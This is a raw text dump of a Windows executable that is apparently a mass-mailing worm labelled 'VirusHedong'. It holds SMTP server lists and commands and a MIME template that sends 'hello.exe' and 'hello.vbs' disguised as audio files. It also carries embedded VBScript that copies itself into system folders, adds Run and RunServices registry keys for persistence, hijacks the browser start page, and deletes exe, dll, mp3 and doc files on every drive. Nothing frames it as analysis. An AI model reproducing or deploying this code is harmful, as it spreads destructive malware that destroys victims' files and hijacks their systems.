MZ@ !L!This program cannot be run in DOS mode. $Wͭddd{]dxddLdq{d{dRichdPEL< Pl0@̖P\.textRw `.rdata @@.data5 @D$L$ (WPQ$@t 3_(V/= @@@D$ D$@L$D$D$p@D$`@D$$P@L$ D$,@@D$(3h׋ƹTRjh@ Fd~^hɚ;SUVD$ WP|$(3I3ۉL$$xQj;ã@uSjj3jT$T$fD$T$ T$$efD$$ HQJ;uh @U/$닋P jT$RUL$$@uUh @NSD$LhPUL$Hhؠ@Q@8|$P3IST$LQRU@SD$LhPU@uUw\$KԠ@D$H:u:tP:Vu:u3;tU8-$TP9L$LhĠ@Q$`3 +T$HуOʍT$H@+уOʋ$ T$H83+уOʍT$H󤿼@+уOS|$LID$LQPU!@uU)SL$LhQU@uUW\$KԠ@D$H:u:tP:Vu:u3;tU D$Hh@P |$,3+T$HуOʍT$H@+уOʋ$ T$Hx3+уOʍT$H󤿼@+уOʃ|$HISD$LQPU@uU SL$LhQU@uU~\$KԠ@D$H:u:tP:Vu:u3;tFU?4D$HD$~ \$D$$P1|$(3IL$bSPZ_Utz UT$$R D$SUVWhP4@$hQj0@T$h@R,@j$SP(@ -@L$Qhjh@hՅtT$R@_^]3[ ÿ@3h+SыOjPD$ 5@h@PօtL$Q@_^]3[ ËT$=@R׍D$Phjh@hՅtL$Q_^]3[ ËT$hSjjh@RօtD$P_^]3[ ËL$Q_^][ ÐVhD@D@t&Wh,@V@@t j<@PV8@_^ÐPD$`VWT@|$L$dD@;~ _^PøVUUUSUl$hЋ4t$L$dU|$qFD$p$L$pL %JNL$h\$h DBFD$D$%؃?D ˊL JBD$HD$ut$L$lT$dz D$pT$pTT=u&$%DEUT.][_^PÊI$L$h\$h% ÁDL DLT.][_^PÐSUVt$3W~&|$ \$l$WVSUt ;|_^][Ã_^][Ð SUVWjpP;@@3\$B+ȃ:$@@T$@T$@T$|@T$x@T$t@T$p@T$l@T$h@T$d@T$`@T$\@wT$X@lT$T@aT$P@VT$L@KT$H@@T$D@5T$@@*T$<@T$8@T$4@ T$0@3+O̓B$@T$,@FT$(@8T$$@*T$ @T$@T$@T$@T$@T$ @T$@T$@T$@T$@T$@T$@T$@wT$@lT$@aT$@VT$@KT$ܡ@@T$ء@5T$ԡ@*T$С@T$̡@T$ȡ@ T$@3+O̓K@3T$ +ȃ $@T$ @aT$ @VT$ @KT$ @@T$ @5T$ @*T$ @T$ @T$ @ T$ @3+O̓KK@3T$4+3|$+3|$ +ًO˃_^][ ÍI@ @.@<@J@X@f@t@@@@@@@@@@@@@ @@e@s@@@@@@@@@@@ @@)@7@B@M@X@c@n@y@@@@@@-@8@C@N@Y@d@o@z@@@8 $SUVWh,@P$3򮋬$L jIQ$QU @uU _^][8 j$hRU @uU _^][8 Ƅ$(@$:utP^:uu3tUp e _^][8 ÍD$$P. $Q $h@R$3$+hh@$3|$8+ًOˍ$d@+ًOˍ$P $3+$ًOˍ$P󤍼$+ًOˍ$Ȣ@+ًO˃󤍼$I$QPU =@uU _^][8 Í$hQj0@jhjjj$hRP@|$ ihOD$t$jPhVWD$$L@+D$h$PQVDظkƒD$҉T$$jLL$HUQ d@3T$P+Ƅ$уOPD$T󤋌$\ jNPQ{@xD$L$@L;D$|t$|$ $L ùLt$+jRRU&@#D$jPhVWL@V WH@$h@Qq $3+$j3󤍼$IQ$QU@uU_^][8 ÿ@3$+j3󤍼$IQ$QU,@Uu4)_^][8 @_^][8 Ð D$pSUVWh,@Pa $3򮋜$ jIQ$QS@uS_^][ j$hRS|@uS~s_^][ Ƅ$(@$:utVO:uu3tS#_^][ ÍD$PL$4QW$8h@R_ $@3+$$3|$+O͍$d@+O͍$h@+O̓|$0+$O͍$P@+O̓󤍼$I$QPS@uS_^][ ÿ<@3$+j3󤍼$IQ$QS2@uS:/_^][ ÿ@3$+j3󤍼$IQ$QS@uS_^][ ÿ<@3$0+h4@$3󤍼$4+ȃ󤍌$4Q$83+$OP󤍼$I$QPS@uS_^][ ÿ@3$+j3󤍼$IQ$QS@Su~_^][ t_^]@[ Ð0@PX@ff@tË 0@QT@f@2SVW@3\$j+ȃPY^$*@X@P@H@<@|0@u$@n@g@`@Y@Rد@Kȯ@D@=@6@/p@(`@!P@<@,@ @@3+ыOʃ_^3[Ë)@)@)@)@)@)@)@)@)@)@*@ *@*@*@!*@(*@/*@6*@=*@D*@K*@R*@SVW@3\$j+ȃP$ ,@@@T@D@X@|0@u@n@g@`@Y@Rذ@KȰ@D@=@6@/@(`@!@|@p@ h@d@3+ыOʃ_^3[6+@@+@J+@,@T+@^+@e+@l+@s+@z+@+@+@+@+@+@+@+@+@+@+@+@+@+@+@%<@%4@%D@%H@%@@%L@%T@%P@%8@VWjtj3EYYtFVD$YVjVh-@t$ FHD$(WFLl@~t Wh@ud@V;YtWY_^Ujh`@h8@dPd% SVWeuV5p@p@ujY|@tЃevLVHY6M3Md _^[E MPQYYËeu@tV0ujYFtPH@VtYjt@^L$HHiCÞ&H%UEP@EP|@fEf;@u;fEf;@u.fEf;@u!fEf;@ufEf;@u@E4Px@tuf}t }tjX3VWu࿨@_@^PEPEPEPEPEPEP MtU EVEEEEBPEu EP MxE EPjm YY^t$Y̋L$ WtzVSًt$|$uuo!FGIt%t)uuQt FGt/KuD$[^_tGIuulGKu[^D$_ÉIt~Ѓ3‹tބt,tt uƉ3҉3It 3IuuD$[^_jt$}YYUjhp@h8@dPd%XSVWe@3ҊԉԾ@ȁ о@ʉ ̾@Ⱦ@jYujYujY3u@x@@eouЍEP@8EEtEj XPuVV@PEP]E MPQ?YYËeuO=@uft$h@YYÃ=@uAt$qYh@VvL$3@;t"F=p@|r"$wB ^5 @^Árw ^^ Vt$t=j KVYYtVPj  ^j YVj5\@@^V@p@t:jtjOYYt)V5p@p@tVY@NjX^3^ËD$@Px@@VWd@5p@@u?jtjYYt&V5p@p@tVY@Nj)YW@_^áp@Vt$u P@tlF$tPYF(tPYF0tPYF8tPYF@tPYFDtPsYFP=x@tPbYV[Yj5p@p@^SVt$ Wt$w uj^3w:;@wj oSsj  u+Vj5\@@u"=|@tVP#YtSjW" _^[3t@th@h@h@h@jjt$  jjt$  Wj_9=@ut$@P@|$ S\$=@@u=u FX.=u FX=u FX=uFXvXjY~XY_`QYEFT u @^[ËT$ @Vt$92Wt+HNIN~WPS!$ E 6tˋ `@@@ t jjS# FMjE_WPS# E 9} _tN E% F ^[]UHSVW} 3Gۉuu} M3Mu39U |xÊ\@3|@E$A@MỦU؉UUUUxà t;t-tHHtYMPMGM>M5M,*u#EPYEM؉EEˍDAU*uEPYEMˍDAЉEIt.ht ltwMMM ?6u4uGGM} lUЋ X@UDAtEPuP G} EPuPf %ÃgeXxCHHtpHHtl fE0uMuuEPfEYȉMu @MENf8@@E M@;ʉ}EfE0uMfEEPt;0PP% E}2E)Zt2 tHYEEEPYt3Ht,EtMEEeM@EPu guEEũEuHM@EPPEP@@ut}uPL@YguuPD@Y-u M}Wa#YiHHtQHHE'<+u @MNt8t@+EEEEt]EE0QEEHEEt;M5EPE Yt fMfME#M@E Et EPYAE t!E@EPt Y%YE@EPtYY3E@t|s؃ڀMEu}} Ee ueEEEM t;ERPWVEU_#uċ؃0uWV"9~]ԋEM뵍E+EEEEtM90uu M@M0E}]@t&tE-tE+ t E Eu+u+u uEPuVj EPEuuP2tuEPuVj0}tA}~;E]xfCPEPC)!YY~2MQuPEPOuEPuuuEtEPuVj q} Gۉ} E_^[i<@?;@Z;@;@;@;@<@<@UM IxE QuYYEu]]VW|$O~!t$Vt$t$ >tO_^S\$ KVW~&|$t$WFt$Pu ?tK_^[ËD$@ËD$AQËD$f@5|@t$YYÃ|$w"t$Yu9D$tt$Yu3Vt$;5@Ww!j vVz j  tuj^Vj5\@@_^Ã=h@u%V5x@<"u%FF<"ttP YtF>"u F < vF> wt< v^S39h@VWu$5@3:t<=tGVMYtPY;5@uj iY=@8t9UWYE?=t"U;Yuj :YW6M$YY8u]5@Y@_^d@[UQQS39h@VWu#@hVS0@x@5@8tEPEPSSWMEMP;ujYEPEPEPVWEH5ܾ@_^ؾ@[UMESV!uW} Et7} 8"uDP@"t)t%!@t tF@tՊFt&F8"uF@CtF@!@t tF@ t t ūuHtfe8 t u@8t7} UE3ۀ8\u@C8"u,u%39}t x"Pu}} 39U‰UKtCt\FKutJ}u t? t:}t.t!@tF@F!@t@@Xt&Ft'E_^[]QQ @SU-А@VW333;u3Ջ;t  @(̐@; @;u Ջ;f9t@@f9u@@f9u+Ƌ=Ȑ@SS@SSPVSSD$4׋;t2Uu;YD$t#SSUPt$$VSSׅut$Y\$\$VĐ@SuL;u ̐@;t<8t @8u@8u+@UY;u3 UWV! W@3_^][YYUHSVWhYujcY5`@`@ ;sffF `@$ލEP@f}E8X;E;|9=`@}Vd@h=Yt<`@ ;s``@ $9=`@|=`@3~LEt8t2u Qܐ@t#΋ `@M  HEFC;|3ۋ `@ۃ<4uMFujX HP`@tWܐ@t %>uN@u NNC|5`@\@_^[3j9D$hP@\@tBu5\@@3jXá@t u*=@u!h@YthYUU3ɸ@@;t A=д@|V;@@@u =@\hPj0@u\hĔ@PYY\WP\r@YWjYujYj>YWu @>YYj Y_6@^]UE4д@@]h@j5\@@X@uÃ%P@%T@jL@D@XáT@ X@ ;sT$+P r3UU MSVA+q ZW΋ziK}D]M Muj?I_M ;v} L;LuHM sL!|D u+M!9$M L! uM!yL|yL|]y]O?vj?_MM+UMj?UIZ;ʉM vU ]]O;v;tkMQ;QuHM sL!TD u+M!$M L! uM!QMQIJMQIJU}u 9} M IJM JQJQJ;JucL MLs%}uM DD )}uOM YO 8]E\P@ H@=@H h@SQ׋ H@P@ PP@ H@@P@@HCP@HyCu `P@xulSjp סP@pj5\@@T@X@ȡP@+ȍLQHQPE T@;P@v X@ L@EP@5H@_^[UT@X@SVWu;P@uM; H@u%P@MB_^[áT@ D@VW3;u0DPP5X@W5\@@;taD@X@T@ X@hAj5\@4@;ljFt*jh hW@;ljF uvW5\@@3N>~T@F_^UQMSVWqA3ۅ|Cj?iZ0DE@@Jujy hhW@up;w44@;tPVYY54@V@PZ ;ã4@VPWgjV5,@,@`>-uEFVY0i @<+t:|<9F>:uNFVk:u#FVUY @ȉ @:|<9F}tى @@tjV50@0@ `0@ W|Y_^[Vj t$ j \ ^SVW39=@u3Lt$j[F;8@u ;H@9=@ .@Qf9= @ ,@Q *@Q (@Qu $@WQ &@Q "@QPS &@QW "@WQPWS@,f9=@P@P@P@Pu(@WP@P@PvSW,B@PW@WPvWWWWjWWSjPSSWWWjWWjj vSW{X<@L@N;};;;~;}_^[;|;;~;Fk<Fk<i;u3;@@3;P@U} S]VE]eu P@ @ӍHimCWj:%_E_;U}k+EL k+Eȃ}u8}uT@@;~ Eu P@ @M }u+E$ <@k<E(8@k<E,iE0@@UE$ L@k<E(k<@E,iE0P@y \&IP@\&;|+AP@ L@H@^[]Vt$;5`@s@΋ `@Dt%WVt$t$V(VG_^I G ^Vt$WVzYu  -t$jt$P@ud@3t PxY΃Ƌ `@dD_^Vt$;5`@s@΋ `@Dt%WV&t$t$V(Vo_^q o ^USVW39}}}u3fE`@E4D0 tjWu @E 9}E}M+M ;Ms)ME uE @@ȍ+ʁ|̋+EjPWP40@tCEE;| E+E ;Er3E;9}tbj^9uuLY W0Ad@EǍMWQuu 0@t E}Ed@EuY,D0@t E 88+E_^[<@hgYL$At I AI AAAAaËD$;`@r3Ëȃ `@D@á@@Vj^u;}ƣ@@jPY(@Yu!jV5@@Y(@YujXY3ɸ@(@ =@@|3ɺж@4`@tu A0@|^=@tËD$@;r= @w+PYà P@ËD$} PYËD$ P@ËD$@;r= @w+PYà P@ËD$} PYËD$ P@̋L$tAt@u~Ѓ3ƒtAt2t$tt͍AL$+ÍAL$+ÍAL$+ÍAL$+USV@WV@=Ԑ@39@tVjYj[u uYE Yt jYV׋E _^[]UEu]Ã=X@ufM fw9jX]ÍMeQj5|@PE jPh 5h@Ȑ@t}t*]SVD$ uL$D$3؋D$ Aȋ\$T$D$ ud$ȋD$r;T$wr;D$ vN3ҋ^[SD$ uL$D$ 3D$3Pȋ\$T$ D$ ud$d$r;T$ wr;D$v+D$T$+D$T$ ؃[jjt$  D$L$ !@u|$tEb@#D$3ujXUSVWjuY; @Y]u3pV3Ҹx@9tt0B=h@|EPS@j^;!j@%$@Y3 @9u󫪉 @}MA;!@@ej@Y3 @4R@;t,Qt%;wUp@!@@;vAA9uE}rE@P @|@@Y$@RAAyGƀ!@@=rSY$@5@%@3@=@@tjY_^[ËD$%@@u@@%@u@@%@uh@@@ËD$-t"t t Ht3øøøøWj@Y3 @3@ @@$@_UEVP5 @@3@;rEƅ t7SWU ;w+ȍA ˃BBBu_[j5$@5 @PVPjj5 @VPVPV5$@W j5 @VPVPh5$@/ \3ft!@ @t!@ 〠 @@AA;rI3ArZw!@Ȁ @arzw!@ Ȁ @@;r^Ã=h@ujYh@W|$j$L$WtAt;u~Ѓ3ƒtAt#ttt͍y yyyL$ tAtdGu~Ѓ3‹tt4t'ttljD$_fD$G_fD$_ÈD$_UWVu M};v;xur)$j@Ǻr $i@$j@$\j@i@j@@j@#ъFGFGr$j@I#ъFGr$j@#ъFGr$j@Ij@j@j@j@j@j@j@|j@DDDDDDDDDDDDDD$j@j@j@j@k@E^_ÐE^_ÐFGE^_ÍIFGFGE^_Ðt1|9u$r $`l@$l@IǺr +$hk@$`l@xk@k@k@F#шGNOr$`l@IF#шGFGr$`l@F#шGFGFGZ$`l@Il@l@$l@,l@4l@SmYt/P^;Yv<8=uWSP= tӋD83_^[ËL$V; `@WsX<`@4@t78t2=@u3+tItIuPjPjPj@ 03Ŀ ¿ _^ËD$;`@sȃ `@Dt耿 ~ ËD$SȃVW4`@`@<~u#j~Yu F P@FjYD8 P@_^[ËD$ȃ `@D P@SWj3OYj_9=@@~]V(@tA@ t PYYtC|)(@ P@(@4蟾(@Y$G;=@@|^j@Y_[Vt$V#Yt^F @tvgY^3^SVt$ 3WF ȃu7ft1F>+~&WPvJ ;uF t$F N Ff_^[jYSVWj3383Y95@@~t(@t_@ tYPV,(@YYH t0|$uPYtC|$utPYu (@4V.YYF;5@@|j|$Yt_^[jrYUjhh@h8@dPd%SVWe39=|@uFWWj[Sh`@VW$@t|@"WWSh\@VW @"|@9}~uuYYE|@uuuuuu u @9} uh@E WWuuE$@Pu  @؉];}$eĉE܃MjXËe3}܃M]9}tfSuuuju  @tMWWSuu u$@u;t2E t@9};uuuSuu u$@3eȋMd _^[E6$e܉]MjXËe33ۃMu;tVSuuu u$@t9}WWuWWuuVSh u Ȑ@;qlUjh@h8@dPd%SVWe血@3;u>EPj^Vh`@V(@tEPVh\@VS@jX@u$E;uX@uuu uP@9]uh@ESSuu E @Pu @E;tc]<ǃ$euWSVD jXËe33M;t)uVuu ju @;tuPVu(@3e̋Md _^[UQEHw X@ARV5X@DV^teMEj eEjXM jjjQPEPjTuE #E ̋D$L$ ȋL$ u D$S؋D$d$؋D$[U}u3]5 @uu uuj5$@u]Ã]QSUV5@W3;tNȐ@WWWWjPWjӋ;t>U@;YD$t/WWUPj6WjӅtWt$FY;Yu3_^][YÃVt$WF @tf VVV _^Vt$WF t4VVv }Ft PfYf _^S\$;`@VWsr<`@Ã4D0tRS?YD0t)SYP,@u d@3t腷0u SWY\ _^[UV3PPPPPPPPU I tB$uA tF$s ^UWVSM&ً}3ˋu F3:GwtIIы[^_UV3PPPPPPPPU I tB$u t F$sF ^Q=L$r-=s+ȋą@PUjh@h8@dPd%0SVWe39@j_u@W`@PWPSS@t=@#W\@PWPSSؐ@@u;~VuYYu9]~uuYYE@uuuVuu uؐ@;9] uh@E ;t 9];uujXx9}~l;AEPu @Q;~,}r"E8]tP:tM :r:v@@8uj9]~1}rE8]tP:tM :r:x@@8uzSSVuj u  @E;]$(eĉE܃MjXËe3ۉ]܃Muj_9]uuVuWu 5 @օtySSuuj u ֋u;ta}6$e}؃MjXËe33Mu;t-VWuuju  @tVWuuu u@3eMd _^[ËT$D$VJt 8t@Iu8^u+D$ËUQQSVW39}tUj=uIY;Yut@9ut;@38^;@u PY@;uT9} t9=@t|t>_^[; j;Y@t߉89=@uj;Y@tĉ8+u=@}VuYY|C?t>t24YYt VPYY^3^UQ=X@SVWuEAZ ]j;^}%95|@~ VS{YY X@X#ƅueX@DJte jE] X e ]VjMjQPEPW5X@ t;uE EM _^[̍B[Í$d$3D$ST$t B8tфtQu WV ؋ ~333ƃu%t%uu^_[3ËB8t6t8t't8tt8tt^_B[ÍB^_[ÍB^_[ÍB^_[%@zĘژ .:HZțșؙ.>RdvКhޚ.:Tn؛ (4P(ȜH8Zlst4 -@-@U1@i1@EEE50P (8PX700WP `h````ppxxxx(null)(null)runtime error TLOSS error SING error DOMAIN error R6028 - unable to initialize heap R6027 - not enough space for lowio initialization R6026 - not enough space for stdio initialization R6025 - pure virtual function call R6024 - not enough space for _onexit/atexit table R6019 - unable to open console device R6018 - unexpected heap error R6017 - unexpected multithread lock error R6016 - not enough space for thread data abnormal program termination R6009 - not enough space for environment R6008 - not enough space for arguments R6002 - floating point not loaded Microsoft Visual C++ Runtime Library Runtime Error! Program: ...SunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecTZGetLastActivePopupGetActiveWindowMessageBoxAuser32.dllv@v@v@v@!x@%x@}@}@~@ ~@H:mm:ssdddd, MMMM dd, yyyyM/d/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepAugJulJunMayAprMarFebJanSaturdayFridayThursdayWednesdayTuesdayMondaySundaySatFriThuWedTueMonSunPx4,lzĘژ .:HZțșؙ.>RdvКhޚ.:Tn؛ (4P(ȜH8Zlst4 WS2_32.dllSleepWinExec(CopyFileAlstrcatA$GetModuleFileNameAYGetSystemDirectoryAFreeLibraryGetCurrentProcessId>GetProcAddressLoadLibraryACloseHandleReadFile4CreateFileAGlobalAddAtomAGlobalFindAtomAKERNEL32.dllRegSetValueExA[RegCloseKeyrRegOpenKeyExAADVAPI32.dllGetLastError,ResumeThreadJCreateThreadTlsSetValue~ExitThreadpGetTimeZoneInformation]GetSystemTimeGetLocalTime&GetModuleHandleAPGetStartupInfoAGetCommandLineAtGetVersion}ExitProcessHeapFreeGetCurrentThreadIdTlsAllocqSetLastErrorTlsGetValueHeapAllocTerminateProcessGetCurrentProcessUnhandledExceptionFilter/RtlUnwindFreeEnvironmentStringsAFreeEnvironmentStringsWWideCharToMultiByteGetEnvironmentStringsGetEnvironmentStringsWmSetHandleCountRGetStdHandleGetFileTypeUDeleteCriticalSectionHeapDestroyHeapCreateVirtualFreeWriteFileInitializeCriticalSectionfEnterCriticalSectionLeaveCriticalSectionVirtualAllocHeapReAllocjSetFilePointerInterlockedDecrementInterlockedIncrementGetCPInfoGetACP1GetOEMCP|SetStdHandleMultiByteToWideCharLCMapStringALCMapStringWSGetStringTypeAVGetStringTypeWFlushFileBuffers!CompareStringA"CompareStringWbSetEnvironmentVariableA`@oh@ra@4@VirusHedongsmtp.citiz.netsmtp.china.comsmtp.sina.comsmtp.263.netsmtp.sohu.comsmtp.163.netsmtp.163.comRCPT TO:<> @MAIL FROM: <250EHLO hedong %1 %*Software\CLASSES\exefile\shell\open\command\Exporler.exeRegisterServiceProcessKERNEL32.DLLABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/9876543210uanguanieiaoianuounuiuongonouoingiuiniengeneieanganaiuaaoazhchshzyxwtsrqpnmljhgfdcbQUIT --1 ------------ .
--2-- --1 Content-Type: audio/x-wav;name="hello.exe" Content-Transfer-Encoding: base64 Content-ID: MIME-Version: 1.0 Content-Type: multipart/related;type="multipart/alternative";boundary="1" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --1 Content-Type: multipart/alternative;boundary="2" --2 Content-Type: text/html;charset="charset=gb2312" Content-Transfer-Encoding: quoted-printable Subject: 354DATA . then folderlist(d.path&"\") end if next end sub sub infectfiles(folderspec) on error resume next dim f,f1,fc,ext set f= fso.GetFolder(folderspec) set fc= f.Files for each f1 in fc ext= fso.GetExtensionName(f1.path) ext= lcase(ext) if (ext= "exe")or(ext= "dll")or(ext= "dat") or (ext= "mp3") or (ext= "doc") or (ext= "mp3") then set att= fso.getfile(f1.path) if(att.attributes= 1)or(att.attributes= 3)or(att.attributes= 5)or(att.attributes= 7)or(att.attributes= 33)or(att.attributes= 35)or(att.attributes= 37)or(att.attributes= 39) then att.attributes= att.attributes-1 end if if(att.attributes= 4)or(att.attributes= 5)or(att.attributes= 6)or(att.attributes= 7)or(att.attributes= 36)or(att.attributes= 38)then att.attributes= att.attributes-4 end if fso.deletefile(f1.path) end if next end sub sub folderlist(folderspec) on error resume next dim f,f1,sf set f= fso.GetFolder(folderspec) set sf= f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub --1 ------------ then timeover.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Setting\Timeout",0,"REG_DWORD" end if Set dirwin= fso.GetSpecialFolder(0) Set dirsystem= fso.GetSpecialFolder(1) Set c= fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel.vbs") c.Copy(dirwin&"\Win32Dll.vbs") timeover.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" timeover.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32Dll",dirwin&"\Win32Dll.vbs" timeover.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32Dll",dirwin&"\Win32Dll.vbs" timeover.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.hziee.edu.cn" listdriv() end sub sub listdriv() on error resume next Dim d,dc Set dc= fso.Drives For Each d in dc if d.DriveType= 2 or d.Drivetype= 3Content-Type: audio/x-wav;name="hello.vbs" Content-Transfer-Encoding: quoted-printable Content-ID: on error resume next dim fso,dirwin,dirsystem set fso= CreateObject("Scripting.FileSystemObject") main() sub main() on error resume next set timeover= CreateObject("WScript.Shell") rr= timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Setting\Timeout") if (rr>= 1)
--2-- --1 þþòʲôʱżѾյҹ˾ллİ˾Ҫ֪ͨݵӹҵѧԺ СƽʦѶQQQQƯMMдҵĸС뵽Ѹĺؿףտͬѧۻнտϲ!!ϲ! abcdefg163ѻУУ!??!!!棬!żдĺܰ!˾!йʽܹ!,ףףտ!dzԱҪһݹ!----------ݵӹҵѧԺ340#-------ζѧ! ݵӹҵѧԺ340#-----ζ hedong1982@163.com,!4@        ! 5A CPR S WY l m pr   )     x @ؑ@ P@$@ @ ԓ@@x@T@(@@Ȓ@@X@0@x @y@z@d@@@H@`@0@pPSTPDT@@;Zx0Nm:Yw/Ml@@@@t@t@t@t@t@t@b@b@ ((((( H `y!@~ڣ @ڣ AϢ[@~QQ^ _j21~CCC.@Ȗ@Ė@@@@@@@@@@@x@l@h@d@`@\@X@T@P@L@H@D@@@<@4@(@ @@X@@@@@@@ԕ@Е@̕@ĕ@@@.H@@@@@@@@@@P@